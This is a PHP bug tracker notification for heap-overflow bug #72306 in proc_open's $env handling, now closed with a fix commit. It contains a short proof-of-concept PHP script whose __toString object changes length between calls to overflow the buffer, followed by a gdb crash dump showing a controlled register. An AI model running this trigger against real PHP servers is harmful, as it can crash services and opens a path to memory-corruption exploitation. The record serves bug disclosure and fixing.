Edit report at https://bugs.php.net/bug.php?id=72306&edit=1
ID: 72306
Updated by: laruence@php.net
Reported by: bugs at themadbat dot com
Summary: Heap overflow through proc_open and $env parameter
-Status: Open
+Status: Closed
Type: Bug
Package: Reproducible crash
PHP Version: 5.6.22
Block user comment: N
Private report: N
New Comment:
Automatic comment on behalf of laruence@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1ab974f0bfb202d9a49a6cc152293b4d013ef46
Log: Fixed bug #72306 (Heap overflow through proc_open and $env parameter)
Previous Comments:
------------------------------------------------------------------------
[2016-06-13 05:03:43] stas@php.net
Does not look like a security issue - you need special code to cause it.
------------------------------------------------------------------------
[2016-05-31 17:39:29] bugs at themadbat dot com
Description:
------------
The bug is in ext\standard\proc_open.c in the _php_array_to_envp function. Tested in
PHP 7.0.7 but 5.6.x seems vulnerable too (not sure when the bug was introduced).
This function basically iterates over each element of the $env array passed to proc_open(), and
calculates the total size needed for a heap buffer to hold them. It does this by using
zval_get_string() on each element.
Later on, after allocating the buffer, it iterates over the elements again, calls zval_get_string()
on each again, and memcpy's them to the buffer.
The problem is of course that if the element is an object defining __toString(), zval_get_string()
is not guaranteed to return a string of the same length for each invocation.
The fix would probably be to do the same that is done in other functions: only call
zval_get_string() once for each element and re-use that result in the 2nd loop.
On my test environment this leads to a heap overflow and a SIGSEGV in zend_objects_destroy_object
with a controlled register.
Test script:
---------------
<?php
class moo {
function __construct() { $this->a = 0; }
function __toString() { return $this->a++ ? str_repeat("a", 0x8000) :
"a"; }
}
$env = array('some_option' => new moo());
$pipes = array();
$process = proc_open('nothing_here', array(), $pipes, NULL, $env);
?>
Expected result:
----------------
PHP SIGSEGVs. The exact crash location might depend on the PHP build. Adjusting the 0x8000 value in
the test script could lead to different crashes.
Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90
90 if (destructor->op_array.fn_flags &
(ZEND_ACC_PRIVATE|ZEND_ACC_PROTECTED)) {
(gdb) info reg
rax 0x6161616161616161 7016996765293437281
rbx 0x7ffff1e5b618 140737251751448
rcx 0x13 19
rdx 0x1 1
rsi 0x7ffff1e03018 140737251389464
rdi 0x7ffff1e5b618 140737251751448
rbp 0x7ffff1e5b618 0x7ffff1e5b618
rsp 0x7fffffffcd80 0x7fffffffcd80
r8 0x6000 24576
r9 0x4000 16384
r10 0x7ffff7fcba50 140737353923152
r11 0x246 582
r12 0xf2f770 15923056
r13 0x107cb20 17287968
r14 0x0 0
r15 0xf33af0 15940336
rip 0x76087d 0x76087d <zend_objects_destroy_object+45>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) bt
#0 zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90
#1 0x0000000000764f31 in zend_objects_store_call_destructors (objects=objects@entry=0xf2f770
<executor_globals+816>) at /php-7.0.7/Zend/zend_objects_API.c:54
#2 0x000000000071dc93 in shutdown_destructors () at /php-7.0.7/Zend/zend_execute_API.c:242
#3 0x000000000072c914 in zend_call_destructors () at /php-7.0.7/Zend/zend.c:952
#4 0x00000000006cfaa5 in php_request_shutdown (dummy=dummy@entry=0x0) at
/php-7.0.7/main/main.c:1780
#5 0x00000000007b328a in do_cli (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1141
#6 0x0000000000432000 in main (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1344
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72306&edit=1